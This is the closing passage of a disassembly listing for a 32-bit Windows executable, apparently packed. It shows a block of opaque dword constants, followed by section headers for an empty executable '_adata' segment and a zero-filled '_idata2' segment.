		dd 26094D6Dh, 0C0BCA924h, 7F811AB9h, 0B03C1C0Eh, 0FCD27495h
		dd 9116C30Ch, 21991CB7h, 123654D8h, 7A190805h, 0C68C9686h
		dd 1EEA87FDh, 0EF6519DBh, 3284FA7Dh, 439767F2h,	7D8116C3h
		dd 0D07AD532h, 17CEAFD6h, 0EAB0E191h, 1B93292Ch, 2DBE142Dh
		dd 6FF75EABh, 897C8732h, 9FB330F8h, 6443EA09h, 0BE718C10h
		dd 0C90222E7h, 67FE1F37h, 0A80F709Bh, 0B94F7839h, 23D530B6h
		dd 7A4DDBF2h, 0EE502601h, 367A8B33h, 0C64E5643h, 7863AEE5h
		dd 0E38E7053h, 18DEC790h, 93ACCE83h, 8820B125h,	0D3D6FE52h
		dd 459A3A18h, 556DC70h,	49AD41D3h, 0A4EC4018h, 932F6C74h
		dd 22FB36B1h, 0C2B26BD2h, 0BB7DCFC7h, 0B9B1CDE6h, 6FCE7950h
		dd 567D6270h, 0F54BEA3Eh, 3DFB2CF6h, 0DAB09B69h, 0AB3CE717h
		dd 9360D8C1h, 64D81E20h, 0B26156D7h, 0A326C200h, 273F62B0h
		dd 27377282h, 80h dup(0)
_data		ends

; Section 5. (virtual address 0007D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0007D000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 47D000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		align 2000h
_adata		ends

; Section 6. (virtual address 0007E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0007E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 47E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start